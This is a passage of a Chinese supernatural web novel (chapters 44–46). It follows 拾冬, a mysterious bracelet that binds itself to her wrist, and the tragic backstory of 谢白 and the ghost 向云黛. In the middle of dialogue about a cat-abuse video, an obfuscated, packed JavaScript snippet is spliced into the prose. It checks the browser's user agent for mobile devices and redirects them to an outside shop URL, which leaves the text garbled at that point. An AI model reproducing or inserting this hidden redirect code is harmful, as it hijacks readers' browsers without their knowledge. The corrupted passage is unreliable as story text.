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“哥,起来吧。”吴天义搀扶起吴天成,两兄弟枯瘦的手紧紧握在一起,曾经眼里的仇视,怨恨已经在今晚流干净了。 事情结束,贾苍等人拆完阵后先行离开,吴天其,吴天成还要接着回牢里,就在吴天成等人要走时,拾冬叫住他。 “吴天成。” 刚刚吴家等人最后消失时,吴天华拜托拾冬转达给吴天成一句话。 “吴天华说,这些年辛苦你了。” 吴天成没有回头,肩膀止不住颤抖,几秒后,他对着天空一声大叫,那声音仿佛是从他灵魂深处喊出,沤尽了他这些年的煎熬与内疚。 他在警察的搀扶下离开。 大家三三两两散开,吴天义叫住要走的吴天武,“要不坐我的车走。” 吴天武看了一眼庞大的挖掘机笑着婉拒:“我腿脚不好你又不是不知道,这么高,我可爬不上去。” 说完便要走。 “警是你报的吧。” 吴天武停住步子,两手背到身后没有回头。 “当年秀兰那事就你我看到了,这些年你处心积虑,待在大哥身边,为的就是现在吧。” 吴天义盯着吴天武的背影,看他抬头看向月亮,“三哥,我小时候特别喜欢一句诗,不知道你听过没有?”说完他转过身来,不急不缓地念道,“江山代有才人出,各领风骚数百年。 兄弟俩在昏暗中无声对视了数秒,吴天武朝吴天义潇洒一挥手,笑道:“三哥,时候不早了,早点休息。我先走了。” 头顶的月亮被云轻轻遮住。 * 孟永和贾苍说好明早八点派车来接后便各自回房收拾行李,拾冬刚收拾好准备休息,手机响了一下,是端午前说好要签合同的房屋中介,问她在吗? 一般问出这两个字就是有事。 他前两天就一直催她什么时候签合同。 拾冬没回复,等他先说话。 果然没两分钟那边就发来信息。 “美女,一个好消息一个坏消息你要听哪个?” 拾冬:“?” “好消息是你要买的那个房子降价了。” 拾冬:“?” “坏消息是,屋主的女儿杀了她妈,那房子成了凶宅。” 拾冬:“???” 44. 第 44 章 一直到离开吴村,拾冬都没有去看姜州。吴昭戈不知从哪弄来她的微信,事无巨细报告了姜州的最新动向,有时会问要不要来医院看看,她没回。 也不是抵触或者抗拒,单纯的去了也不知道该说什么,干站着也尴尬。索性便跳过了这个环节。 知道他现在恢复得不错就行了。 “哥,那个女人好像今天走了。”吴昭戈昨晚睡在吴村,今天去找拾冬想问她要不要一起去医院,结果得知她已经走了。 这人怎么这样,要走也不知道提前打招呼。 “你别那个女人那个女人这么叫她,她比你大,你可以叫她姐。”吴昭州经过治疗,这些天已经好多了,比起刚醒来时的头晕想吐,现在已经清醒多了。 “什么姐,她又不是我亲戚,她不可能当我姐。” 想都别想。 吴昭戈点开拾冬的对话框,一溜烟绿色气泡,她回自己的少得可怜。 没礼貌的女人! 他手指在键盘上打字。 你走了怎么不说一声。 删除。 你几点的车? 删除。 你还会... 删除! 吴昭戈扔了手机,狠狠吸了一口冰美式,企图浇灭心里没来由的焦躁感。 今天天气不错,远处的白云层层叠叠,明晃晃的太阳透过窗子斜斜铺在地上,从这个角度能看到底下川流不息的车河,里面有没有一辆坐着那个女人。 她不会回来了。 意识到这点的吴昭戈心脏紧缩了一下,随即酸涩感溢出,像小时候被骗,毫无防备吃到的橙子,一口下去只有酸。 这是他十八年来,第一次如此无所适从。 她不会再回来了。 像是有意和他作对,这话又在脑子里重复了一遍。 “哎呀,烦不烦。不回就不回,谁稀罕,那么凶的女人不回来才好!” 一通吼完对上吴昭州玩味的视线后,吴昭戈耳朵腾一下烧了起来。 “小七也到这个时候了。” “什么啊。”吴昭戈经不住调侃,连带着脸也开始热了。 “不过追阿冬有点难。” 吴昭戈像只被踩到尾巴的猫咪瞬间炸了,“我什么时候说我要追她了,搞不搞笑,她比我大那么多,我喜欢萝莉,萝莉好吧!” 吴昭州笑出了声。 “别说我了,哥,你知道吗,大妈说不养密室里的那个人,把他丢在村子里,好在三爷爷收留了他,不过他看上去挺糟糕的,不怎么会讲话,看到人就叫,而且,他会写一种别人看不懂的字,整个人跟个疯子似的。”虽然知道用疯子形容自己的亲堂哥不好,但吴昭戈实在找不到别的形容词了。 吴昭州黯然点头。 “哥,你到底是怎么知道他在密室的?” “是吴妈。” 他答辩完后回了一趟吴村,他的东西其实大部分都在村子里,市里的那个家他很少能回去,安逸有洁癖,看他跟看病菌一样,吴昭州从初中就开始寄宿住校了。 他要准备出国的衣物,吴昭州经常对自己说,你已经很好了,哪个养父养母会让你读昂贵的私立学校,还让你出国留学,该知足了。 所以即使他感觉自己受到了区别对待,他还是充满感激,并尽力对吴家每一个人都怀有善意。 家里的小辈也都很喜欢他。 本来计划收拾完行李就回学校,但想到没多久就要端午大祭了,于是留下来看看村子里有没有什么要帮忙的,吴妈就是在他回来的第三天来找他的。 吴妈从没出过村子,字不会写,连普通话都不会。但是她想救那个从小养到大的孩子,她不忍心看那个孩子死。 她不知道找谁,在看到吴昭州回来后,左思右想了三天决定告诉他。 吴昭州当下就决定和吴妈去看看,没想到被爷爷抓到了。 “她说你就信了?”吴昭戈目瞪口呆,“而且吴妈对你又不好。” 吴昭戈印象很深,过年吴妈每次给红包,都直接跳过他哥。 “大概是她觉得我抢走了那个孩子的人生吧。” “这关你什么事,又不是你的错,我就认你一个哥。” 吴昭州看着一脸孩子气的吴昭戈,拍了拍他的肩膀,有意逗他:“小七你这么说我很开心,但是阿冬真的很难追。” “哥你怎么这样啊。”吴昭戈刚褪下的灼热又爬上耳朵,他也不知是气是羞,站起来就要走,结果没两步又折返回来,脸都红了,豁出去真心求问,“真的很难吗?” 吴昭州认真点头的模样无异于给刚情窦初开的小孩来了一个暴击。 “切,我还不信了。” * 拾冬一回来,连着上了好几天的夜班,虽然刘姐说不用补,但她还是不想占人便宜。 晚上查完寝一回办公室就收到了中介发来的信息。 “你真的不打算要那房子了吗?美女,我劝你考虑一下,这房子真的不错,而且你之前说想开丧葬店,我觉得你应该不介意这种事吧。” 拾冬一回桐岭,就联系中介,要中介把定金给她退回来。 出了这事,按照合同,定金是可以退还的,但中介似乎不想错过这单子,这几天反复骚扰拾冬,企图让她买下这个凶宅。 “我开丧葬店不代表我要住凶宅,钱你尽快退给我,不然我就报警。” 拾冬回完没几秒,那边连忙叫屈, “美女,不是我们不给你退钱,这定金给了房东,房东现在死了,就算要退定金,也得等他家身后事办完,他们家现在乱成一锅粥,出于人道主义,你说我这个时候上门问人家要钱,是不是不太厚道?这一切都得走流程,你说是不。” 拾冬看完这一套官方说辞,气得把手机往桌上一扔,吓坏了旁边玩玻璃球的言言,她看着拾冬一脸阴郁,捡起不断滚动的玻璃球,偷偷摸摸溜出了门。 这五万块一时半会儿要不回来了,看好的房子也没了。 老话说哪个地方没死过人,可是刚死过的住宅,总给人一股新鲜的不舒服感。 拾冬忌讳这种地方。 她平静了一会儿,拿过手机搜盛辉小区。 果不其然,一开头就是盛辉小区弑母案。 “6月4号下午5时,我市盛辉小区6栋602发生一起故意杀人案,犯罪嫌疑人杨某(女,35岁)因家庭矛盾将其母亲杀害于家中,后主动向公安机关投案自首,目前杨某已被依法刑事拘留,案件正在进一步审理中..” 家庭矛盾。 拾冬想起中介说房东投资失败的事。 她连续看了好几个网页,说的内容都大差不差,底下也有不少网友留言。 “我奶奶就住他隔壁一单元,她现在吓得已经来我家住了。” “感觉小区这一阵子都不太平,我那栋前不久还有个得病走了的。” “我是凶手前同事,想象不出她会做这个事,她人很好,我离职的时候,她还送了我一个小蛋糕。不过后来听说她孩子夭折了,哎,也是个苦命人。” “盛辉小区那么好地段的房子,现在出了这事,不知道房价会不会降点。” “你想得美,除非你买那个凶宅。” “我才不买,谁住死了人的房子。” 拾冬看到这话两眼一抹黑,手指又往下翻了几下,她看到这样一条评论, “就没人说盛辉小区有居民虐猫吗?主页有真相。” 拾冬点进那个评论人的主页,就一个视频。 一点开视频,映入眼帘的是亮灯的居民楼,看样子也挺晚了。 “你别拍了啊,万一他发现了怎么办?” “怕什么,他有本事出轨,我还不要找点证据离婚,我不可能净身出户。” “诶,你看那家人,是不是在吵架...” “哪呢,我看看...” 画面往下,对准对面低了大概四五层的一户人家,即使听不见他们在说什么,但是通过肢体,表情能判断出在争吵, “很像我和马雨吵架的时候,我们那阵子天天吵,恨不得把对方捅死...” “呵呵,我都不想说你,谈恋爱的时候我就说了要你们分手...” “是啊,人总要为自己的错误选择付出代价...我去...” 随着视频外女人震惊的声音,画面猛一下被放大,虽然画质有限,但还是能看到女人从地上抄起了一只白色小猫,它瘦弱的四肢正因惊恐不断挣扎,紧接着,它被女人狠狠摔到了地上,消失在沙发后。 “那只猫死了吗?” “那么小,应该活不了了。” 这时,客厅冲进一个女孩,看样子应该是女儿,她跪在沙发后冲父母不断控诉着什么,爸爸已经上前安慰女儿,只有妈妈,一动不动站在原地,嘴里念念有词。 “这不是虐猫吗?有本事打男人啊!拿小猫出气算什么本事,我要把视频发出去!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791486|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别了别了,多一事不如少一事。” “你别管。” 画面在这里停了。 拾冬本还想再看一遍,走廊的灯突然灭了。 “言言,把灯打开。” 话音刚落,怀里钻进一股凉意,拾冬摸了摸,是言言。她意识到这不是言言的恶作剧,她刚点开手机手电筒,黑夜中一张鬼脸贴在办公室外的玻璃上,言言吓得尖叫了起来。 “别叫别叫,是我是我..”大虎一个响指打开电灯,四周恢复光亮。 “你来这干什么?”拾冬意外,摸了摸言言的头安抚了几下。 “给你东西。”大虎掏出一个檀木盒子,“不知道是谁在万事屋门口放了一个盒子,上面写着你的名字。” 拾冬望着眼前的盒子,手都没伸一下,问里面是什么。 “不知道啊,我们都打不开。” 大虎怕她不信,当着拾冬的面脸都变形了也没掰开那个盒子。 “扔了吧。” 拾冬对于来历不明的东西向来避之不及,她用指尖把面前的盒子推向大虎,然而指尖刚碰上盒子,一缕红气竟从盒里溢出来缠了上来,即使缩回手,红气却依旧不断,像有意识般一路往上,最后缠在手腕变成一个不断转动的红圈。 在场的大虎和言言眼也不眨盯着拾冬的手,红圈越转越快,越转越亮,不断有细碎的光被甩出来。 那么亮的光,手腕却一点都感觉不到烫,就在拾冬准备伸手制止手腕上的东西时,发光的红圈在她眼前布灵一下变成一个细圈镯子,通体透着淡淡的红。 “这到底是谁放的?”拾冬试了几次发现无法将镯子褪下后,口气不善问一脸茫然的大虎。 “我..不知道啊。”大虎刚说完就见拾冬右手对着墙壁狠狠一磕,那声音听着都疼,可镯子却毫发无损,像不锈钢焊死在她手腕,看拾冬还想试第二次,大虎连忙制止,“别敲了,这东西认主了。” “认什么主?” “这应该是一件灵器。”大虎伸手摸了摸她腕上的东西,刚一上手,竟感觉到了微微抗力,那东西在阻止他的接近,他急忙缩回手。 “不管是什么,我都不要。” 拾冬不想要来历不明的东西,像带了个炸弹在身边的不安感,却见大虎忽然换了一副认真的表情,盯着自己问:“阿冬,你有没有想过你为什么能看到我们?” 拾冬一愣,竟一时回答不出,想了想说:“这有什么奇怪的,又不是我一个人能看到,孟老头不也能看到,吴村那个人也能。” “他们都是修道之人,但你是天生的,阿冬,为什么你一生下来就能看到?” 拾冬沉默了。 她从记事以来就在孤儿院,没有父母,是被人在大冬天捡的,没人知道她的来历。 “你想说什么?” “我在想,这会不会原本就是你的东西?” * 闹市人来人往,各个店都门庭若市,唯有一家,冷冷清清,人们连看都不曾往里看一眼。若此时有人抬头望上看,会看到黎渔声谲坊五个大字。 “东西已经给了。”黎渔声在屏风后一边打理着自己搜集回来的法器一边说。 “嗯。” “我不赞成把茉山给她。”她拿起一个不断震动的花瓶往里看,里面冒出一双血红的眼睛,愤恨盯着自己,黎渔声手指伸向瓶口,指甲不断往里长,最后狠狠戳进花瓶的眼球,瓶内传来一声惨叫。 男人对惨叫声充耳不闻,淡淡一笑,回答:“她得有个东西傍身,更何况那本来就是她的。” “她用那东西伤害了您。”黎渔声放下安静了的花瓶正色道。 男人托着腮,望向外面走来走去的人,没有接话。 没有得到回复的黎渔声沉默了几秒,小声腹诽:“舔狗。” “我听到了。” 黎渔声一边擦花瓶溢出来的血迹,一边问:“您有想过,您放不下的人是现在这个叫拾冬的人还是曾经的那个?” “有区别吗?” 黎渔声把沾满血迹的抹布扔进一个四方小池,四方小池发出窸窸窣窣的声音,没一会儿抹布上遍布前来吸吮血迹的毒虫,她把手洗干净,穿过屏风来到男人面前,倒了一杯茶放在他面前,回答刚刚那个问题:“对我没有,但对她不一定。” 男人低头喝茶,紧接着听到黎渔声问: “如果她最后在意的人是郁之,您该如何自处?” “毕竟郁之是不存在的。” 45. 第 45 章 谢白回到家看了一眼客厅的蓝色杯子,掀开杯盖,没有动过的痕迹。 他重新盖上,一直坐在客厅,直到夜色降临,门口传来轻微响动,他一瞥,一个影子穿过大门后,无视他,径直往卧室走去。 “你去哪了?”谢白挡在卧室门口发问。 “和你无关。” “你要闹脾气到什么时候?” 对方不再搭腔,紧闭双唇,两人默默对抗了一会儿,谢白短叹口气,败下阵来。 “这么生我的气?” “你差点伤害了她。” 不算意外的回答。 谢白盯了对方几秒,从回来就没进食的脸显得格外苍白憔悴,“就因为这个这些天不吃不喝来和我置气?” 等了好一会儿,对方又一言不发。 像是为了发泄这几天积攒的不满和怒气,谢白盯着她苍白的脸,犀利反问:“这么在乎她当初为什么要上她身?你是在乎她还是羡慕她?” 谢白看到了她眼里的不可置信,像是不敢相信自己会说这么重的话,眼泪默默流了出来。 本还有更重的质问,但一看到对方泪眼涟涟的模样,心疼又略胜一筹。他把人抱进怀里,轻飘飘的,一点热乎气都感受不到。 “云黛。”谢白的手慢条斯理穿过她的头发,“当时事发突然,我保证下次不会这样了。我会给你想要的,别不理我好吗?” 向云黛埋在谢白怀里,哭得更伤心了,“你想杀阿冬,你不可以这样做。” “好。” “她是我最好的朋友。” “嗯。” 谢白拍着她不断抖动的肩,好一会儿才稳定下来,他端起茶几上的杯子,杯子里还算活泛的东西如同垂死挣扎的小龙虾,他递过杯子,哄小孩般:“吃一点,不然你身子支撑不住。” 向云黛这才肯接过杯子,喝水似的慢慢啜饮,刚吃到一半,听到谢白说:“云黛,给你找个替身,让你去见见你朋友,你觉得怎么样?” 向云黛一愣,抬头看谢白。两人视线相交,向云黛率先别开眼,手指抠着杯壁,思考片刻后问:“你为什么对我这么好?” “我喜欢你。” 死后没两天,向云黛在手足无措之时遇到了谢白,他说他是专门来找她的。 “你还记得我吗?”谢白一脸期盼地问。 向云黛望着眼前的人,默默摇头。 “我是谢白。你不记得我了?”谢白一脸受伤,见向云黛想跑,他也顾不得那么多,一把拉住她,“这些年我一直在找你,为什么不辞而别?这些年你去哪里了?” “谢..白?你是谢白?” “是我,我回来了。” * 谢白和向云黛是初中同学,谢白很小的时候爸妈就离婚了,父母踢皮球似的把他推来推去,最后谢白妈妈迫不得已把他接了过来。 妈妈是半吊子走阴人,他从小就看妈妈在昏暗的房间,假装被先人上身,冲着一脸悲痛前来寻求安慰的求灵人,咿咿呀呀一通胡说八道,他不觉得妈妈骗人可恶,因为赚来的钱要用来维持他们紧巴巴的生活。 谢白利用从小学来的阴间知识,每到宿舍熄灯,他就在寝室玩请笔仙请碟仙游戏,装神弄鬼骗点生活费,刚开始猎奇的人还不少,等新鲜劲头过去,被骗的人意识到自己被骗了,钱又追不回来,于是便带头孤立他,在学校大肆宣传他是扫把星,谁跟他说话谁倒霉。 十三四岁,正是跟风结群的年纪,渐渐的,大家都不和谢白接触了。 无所谓,有什么了不起,一群玩不起的傻叉。 谢白望着操场上曾经一起打球的伙伴忍下心中的落寞,扛着扫把去扫包干区。 他已经好几次没去扫地了,再不去要叫家长了。 到那时,只有一个女生在扫地,谢白向来不跟班里女生接触,连她叫什么都不知道,只是没想到,对方竟来主动搭话。 “班里人说你能看到鬼,是真的吗?” 谢白听着好笑,反问她:“你信?” “我信,因为我有一个朋友也能见鬼。” 谢白敷衍应和了一句,没想和她继续这个话题,不料对方不依不饶, “你如果真能见鬼的话,你能不能帮我问问鬼,有没有见过一个叫拾冬的人,我想找她。” 谢白感觉这人有病,但转念一想,说不定可以从她身上捞点生活费,毕竟家里穷得都快揭不开锅了。 “行啊,你先给我五十定金。” 对于当时的孩子来说,五十算是一笔不少的钱。果不其然,那女生犹豫了。 “等你有钱再来吧。”谢白胡乱扫了扫两下就要走,临走前还不忘警告她,“我来扫地了,老师要是问起,你要敢说我没扫我就找人打你。” 说完便离开包干区,走了一会儿,谢白鬼使神差回头看了一眼,女生一个人费力扫着因为地上积水而黏在地上的落叶,明明是六个人的包干区,只有她一个人在扫地。 “老实人都是傻叉。” 谢白拎着扫把离开。 可他没想到,几天之后,那人真的给了他五十。 “你一定要帮我找,这是她的照片。” 谢白呆愣看了看手里的五十块钱,又看了看她递过来的照片,最后看了看她一脸期盼的表情, “你没事吧?” “我没事啊。” 完了,被傻子缠上了。 不过拿人钱财,替人消灾,骗傻子谢白向来有一套,谢白一会儿说这一会儿说那,以这个那个借口不断问向云黛要钱。 不管说什么,向云黛都很相信他,还跟他说了很多她和她那个朋友的事,谢白这才知道她是被领养的,而她的钱全是为数不多的生活费里省出来的。 “你为什么那么想找她?”落叶落了满地的包干区,谢白一边清扫落叶一边问。 “找好朋友需要什么理由吗?想找就找咯。”向云黛漫不经心回答。 “可她没有找过你,她要是想找你,应该也能找到吧?” 谢白注意到向云黛扫地的动作迟缓了,她背对着自己看不出表情,却能通过呼吸的起伏看出她在调节自己的情绪,再开口时,依旧是那副“任劳任怨”的口吻:“我找她就行了,她不必找我。” 傻叉。 谢白在心里骂道,低头扫地。 “我回去帮你问问我妈,我妈会这个。” “真的吗?要多少钱?” 谢白一抬眼看到近在迟尺一脸兴奋的女孩,慌乱退了两步,“先不收钱了。万一不成功...” “不管能不能找到,都谢谢你。” 谢白望着向云黛认真道谢的模样,头一次有了愧疚感。 那天谢白回去问他妈,能不能走阴找人。 “那都是骗人的,这世上怎么有人能见鬼?”妈妈坐在镜子前涂上口红后,拎上包丢下一句,“我出门了,这一星期都不回来了,桌上留了点钱,饭你自己解决。” 妈妈最近变宽裕了许多,他很久没有饿一顿饱一顿了。 老旧的门吱吱打开又合上,谢白坐在破旧的沙发上,也不知道在回答谁, “向云黛说她朋友可以。” 人如果有了恻隐之心,便无法再对那个人撒谎,谢白在做了很久的心理建设,终于在一个晚自习结束后,坦白了一切,把之前骗她的钱塞到她手里,一溜烟跑了。 两人恢复之前无交集的状态,后来因为换位置,他们连包干区都不在一起扫了。 但一些微小变化只有谢白心里清楚。 一旦能看见那个人,视线就如同装了雷达,会自动找寻她的身影。 向云黛在擦黑板, 向云黛在做作业, 向云黛在睡觉, 向云黛为什么总是一个人。 难道在自己看见她之前,她就是这样的状态吗?那么想找回曾经的朋友,是不是因为她没有朋友? 那年冬天,谢白妈妈搬去和她新交的男朋友同居,没带他一起,他一个人留在香灰,符纸,一睁眼就是几个面目狰狞的鬼相菩萨的老房子里,连个像样的取暖工具都没有。 他脚上的冻疮溃烂,渗出的血黏在袜子上,脱袜子时连同皮肉一起,钻心的疼。 他也不是没想过妈妈会抛弃自己,只是真到了这一天,先前做好的心理准备里,那个“妈妈应该也会带我一起”的假设正式宣告落空时,砸在心里比撕扯冻疮伤口疼多了。 无所谓,反正一直都是这样。 那年元旦,同学之间十分流行送新年贺卡,男男女女涌进文具店,叽叽喳喳挑选贺卡想送给关系好的同学,谢白跟风买了几张,在几张NBA球星贺卡中间,他藏了一张小兔子模样的。 放假前一晚,学校开元旦晚会,大家吃吃喝喝,互赠贺卡,音响声,唱歌声,笑声扑出拥挤的教室,连同寒冷的冬夜都暖了几分。 那张兔子贺卡被谢白小心藏进大衣口袋,一直到晚会结束,大家三三两两拿上书包回家,谢白磨蹭到班里人都走光了,假装无意经过向云黛的位置,左右看了看确定没人经过后,迅速掏出口袋里的贺卡,扔进她桌肚,之后冲出教室。 只是他没想到会看到在二楼政务处门口公共电话机旁看到向云黛。 她背对着自己在打电话。 “喂,妈,元旦班里要组织补课,我不回来了。下个月生活费可以打我卡里吗?” 元旦补课? 谢白怎么没印象班主任说过这件事? 那头不知在说什么,总之向云黛起码有两分多钟没再说话。 “我没有不想回家,我真的要补课,而且...” 向云黛话还没说话,就又被打断,过了大概一分钟,她才再开口, “好,我明天回来。” 电话已经挂了,但向云黛却一直没走,她背对着自己,各个地方照出来的凌乱灯光打亮她努力压制急促呼吸的背影。 不就回个家么,有那么不情愿吗? 谢白想上前安慰却又碍于面子,最后他只能怀着复杂的心情离开。 向云黛步伐沉重回到空无一人的教室,黑板上写着“最后走的人关灯,关门。” 她在位置上坐了一会儿才开始收拾桌面,抽出书包时,一张贺卡掉了出来。 她俯身去捡,一打开,上面只有四个字 ——新年快乐 “喏,给你。” 去而复返的谢白把一杯奶茶放到她桌上,在她不解的眼神下,硬着头皮为自己辩解:“上次还你的钱还差十块,给你买杯奶茶抵吧。” “..谢谢。”向云黛动作迟缓双手捧住那杯奶茶,温热触感促使眼泪不受控制大颗大颗往下掉,她压抑不住地恸哭起来。 到底为什么这么伤心谢白不得而知,只不过,她这么哭的样子,让他想起小时候听到门外父母争吵砸东西时的自己,他也是这么哭的。 原来我们是同一类人。 谢白心里涌出隐秘的兴奋感。 如果每个人都在结群,那我们也可以。 作为被抛弃的人。 * 为了避免同学说闲话,谢白和向云黛两个人一直靠写信交流,写的无非是一些生活日常,别人那听来的八卦,吐槽食堂饭菜难吃,语文老师讲文言文自己都没搞明白什么意思。 他们就这么写信到初中毕业。 谢白永远记得那天。 谢白妈妈交的男朋友是有妇之夫,原配带人上门,没找到妈妈,为了泄愤,把他打了一顿,在拳打脚踢的暴揍中,他听到门口传来向云黛颤抖不止的声音, “我报警了..我已经报警了..” 女人一听急忙带着亲戚跑了,待看热闹的人都散尽,向云黛才走进来,她关上门,扶起倒在地上的凳子,谢白坐在地上,捂着不断流血的鼻子,呼呼喘气。 “要不要去医院?”向云黛蹲下递过纸巾,红着眼问他。 谢白没吭声,抽了几张纸糊在鼻子上,他花了几分钟都没想明白,为什么向云黛会出现在这里,还是在自己最狼狈的时候。 “你怎么来了?” 谢白虽然告诉过他家地址,但向云黛没来过一次。 她似乎刚洗过澡,谢白闻到清新的沐浴露香气,他等了半天没等到回答,鼻血也差不多止住了,他把带血的纸巾团成一团随手扔到地上,正要追问时,瞥到向云黛脖颈下的鲜红,他直觉那不是蚊子咬的,脑子一热扯开了她的衣领。 是吻痕,有些甚至因为太用力而青紫交错。 “这是什么?” 谢白不可置信望着向云黛,她平静望着自己,让他意识到,她今天来,就是为了让他发现。 “谢白,每个人都过得很辛苦不是吗?” 眼泪从向云黛眼里滚落到他扯着衣领的手背上,又接着往下滑,如同火山喷涌出一小注岩浆烧穿他的皮肤。 “所以我们都不要自怨自艾了,谢白,我们努力跑出去吧,我们一定可以跑出去的…对吗?” 蝉鸣连天的闷热午后,外面叫卖冰棍的大爷叮铃叮铃摇着自行车铃从门口经过,亮晃晃的阳光斜切进一个锐利折角,反射的光照亮谢白眼睛。 好刺眼,刺眼到想哭。 这就是她不愿回家的理由吗? 谢白茫然松开拽着她衣领的手,语言在这一刻失去所有效力,他小心把人抱进怀里,向云黛强撑了一路的情绪在谢白怀里坍塌。 “是的,我们可以。” 一直到高中入学前,向云黛和谢白时常在一起,向云黛录到当地一所不错的高中,但谢白成绩不理想,妈也不管他,于是他决定跟邻居高中落榜的儿子去他舅舅的工厂打工。 临行前几天,谢白又一次问向云黛要不要和他一起走,向云黛依旧拒绝。 “谢白,我要读书,我想读大学。” 被向云黛收拾干净的老房子里,两人围坐在掉漆 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临行前两三天,向云黛发现他左小臂青了好大一块,谢白搪塞说不小心撞的,送完谢白回家后,她从向心弦嘴里得知爸爸的店被小混混砸了,人也被打了,虽然已经报警,但人还没找到。 她听完,不发一言回屋看书。 * 谢白刚开始去邻居舅舅工厂打工还算顺利,虽然条件很苦,起码去银行给向云黛汇款时,他感觉一切都是有意义的。 “不要给我寄钱了。你留着自己花!” 力透纸背的愤怒扑面而来,谢白小心把这些信收好,在十五人一间的员工宿舍,靠着这些信安稳入眠。 只是这样的日子没持续多久,他工作的厂被人举报用童工,他舅舅怕担责,连夜将他赶了出去。 不过还好,他舅看他可怜,给他结清了工资。 谢白带着1000块钱,提着装有衣服,衣架和一卷凉席的塑料桶,望着空荡荡的街道茫然失措。 船到桥头自然直。 那时候谢白还对社会抱有幻想,以为努力就可以活下去。 但现实很快告诉他,没有那么简单。 年龄受限,学历受限,经验受限,他到处碰壁。 被骗被打被骂,忍饥挨饿,受人白眼,谢白全都经历过,可是那又怎样,他坐在长椅吃馒头充饥时,想的还是, 还好向云黛没跟我出来。 他迫切需要赚钱,直到有天晚上他经过桥洞,发现有人在摆摊问卦。 我是不是也行,他耳濡目染多少也能和人掰扯两句。 他模仿桥洞的人用最后一点钱,买了八卦图,铜钱,抽签桶,旁边写上问卦,求姻缘求财运… 原以为起码会有一两单生意,结果一天过去了,一个人都没有。 谁会相信一个小孩。 谢白已经没有钱了,就在走投无路准备回家时,他遇到了一个人。 “小伙子,要不要学点真东西?” * 谢白没想到这世上真的有驭鬼之术,他很想和向云黛分享,告诉她他真的可以帮她找朋友了,但师父勒令不可外传。 师父对他极好,提供吃提供住,每个月还会给他发点钱。 谢白在给向云黛的信里说了很多师父的好话。 向云黛高中成绩一直不错,谢白要跟着师父到处问法,地址不固定,两人通信的次数变少,谢白想给她买个手机,向云黛拒绝了。 “学校不让带手机,而且马上高三了。” 谢白理解,他自己也很忙,师傅说他悟性高,有灵根,短短两年就大有所成。 “只不过…” “不过什么?” 谢白吃着师傅做的蛋炒饭满嘴油光地问。 “你不能见鬼。” “有犀牛角就可以了。” 犀角燃之可见鬼物① 他已经见过很多次了。 师傅不语,望着谢白别有深意笑了。 时间又过了一年,向云黛进入高三,由于学业紧,他们通信次数骤然变少,不过向云黛有空会给谢白打电话。 “向云黛,还有一个月就高考了,你填我这的大学吧,我这也有好大学,你肯定能考上。” “好啊。” 没有犹豫的回答,谢白握着发烫的手机咧开了嘴。 “向云黛,我…很想你。” 那头没有回复,只是“嗯”了一声,但对谢白来说,也足够了。 那是他们最后一次通话。 通话后的第五天,谢白被无比信任的师父生生挖去了双眼。 “好徒儿,你得继承师父的衣钵,你是我见过最有灵根的,好徒弟,师父都是为了你好,师父保证等你醒来,你会看到全新的世界。你就乖乖听话,把眼睛给我,我不会再失败了,我保证。” 好痛,不要。 真的好痛,我不要见鬼,我要回家,我要见向云黛。 谢白哭着沉入黑暗。 等谢白再次醒来,他看到了人鬼同在的世界。 而那时,高考已经结束了两个月。 向云黛不见了,只留下一封两个月前寄来的信,上面写着别再找我。 谢白收到信,顶着两只伤口还没愈合的眼睛,立马回去找向家人,向家人见他这副鬼模样,吓得把他赶了出去。 谢白失魂落魄在街上闲逛,分不清迎面而来的是人是鬼。 也许,我才是鬼吧。 被挖了眼的谢白在两个月后又被挖了心。 他无处可去,只能又一次回到了师父身边。 “好徒儿,我说过你会回来的。” 这些年谢白一直没放弃找向云黛,直到看到新闻。 当他用那双眼睛看到躲在角落瑟瑟发抖的人时,一切因果有了轮回。 也许当初承受的痛苦就是为了再一次看到她。 “向云黛,好久不见。” * “云黛,当初为什么什么都不说就消失了?” 找到向云黛后,谢白一直执着当初她不辞而别的理由,可每次说到这个,向云黛就是一副逃避的模样。 “你别问了,我不想说。” “是那个人..” 向云黛没出声,俯身抱住谢白,含着哭腔恳求:“不要问了,求求你。” 谢白之后再也没有问过。 一直到现在。 等向云黛把杯里的东西吃完,脸色好了些,望着谢白说道:“那你给我找个漂亮点的。” “好。” 得到满意回答的向云黛凑上前抱了抱谢白。 这么久不见,向云黛变主动了不少。 谢白开心摸了摸她的头。 “对了,你今天去哪了?” “…没去哪,随便走走。” 46. 第 46 章 居民楼里每家每户开始起火做饭,钟建匆匆把电瓶车停在楼下,提着外卖跑进快要合上的电梯。 这会儿都是下班回来的人,电梯几乎每层都停,钟建在心里默默着急,要不是这个客户住的楼层太高,他宁愿走楼梯。 钟建抬头看向电梯的楼层显示屏,余光瞥到电梯的小广告,随意看了一眼。 是一张社区广告,看样子是小区里人自己开的工作室什么的。 “你是否也因为过去的失去而烦恼,痛苦。 过去是你的勋章,不忘记也没关系。 跟我们一起,缅怀过去,相信过去。” 不都说人要往前看吗? 钟建感觉这广告语怪怪的。 “叮” 楼层到了,钟建还在看广告牌,身后传来一声很虚弱的女声, “不好意思,让一下。” 站在电梯口的钟建闻言连忙往旁挪了两步,一女生摇摇晃晃出了电梯。 这年头,牛马都不好当啊。 望着女孩的背影钟建在心里感叹。 房内一片漆黑,女孩打开玄关的灯,柔光照出屋内的大致轮廓,七八个硕大的纸箱碍事得横在客厅,她把钥匙放到收纳盒里后顺手拿过手边的瓶子,从里面倒出两粒深色药丸吃了下去。 “我回来了。” “回来了啊,快洗手吃饭。”一个人影从厨房探出头来笑眯眯地问,“累坏了吧,我今天给你做了你喜欢的咕咾肉。” “女儿回来了啊。”客厅看电视的男人摘下眼镜起身,“这周休息要不要再跟爸去钓鱼,回来做水煮鱼片。” “得了吧,就你那钓鱼技术,别把我女儿晒坏了。”女人端着菜走出来吐槽。 “你这是什么话,我钓鱼技术顶呱呱。”男人跟着走向餐桌。 桌上摆着三副碗筷,饭菜冒着热气,父母站在餐桌前朝自己招手, “愣着干什么,快来吃饭。” “来了。” 文霜一步一步走向餐桌,墙上挂着一家四口的全家福。 “叮” 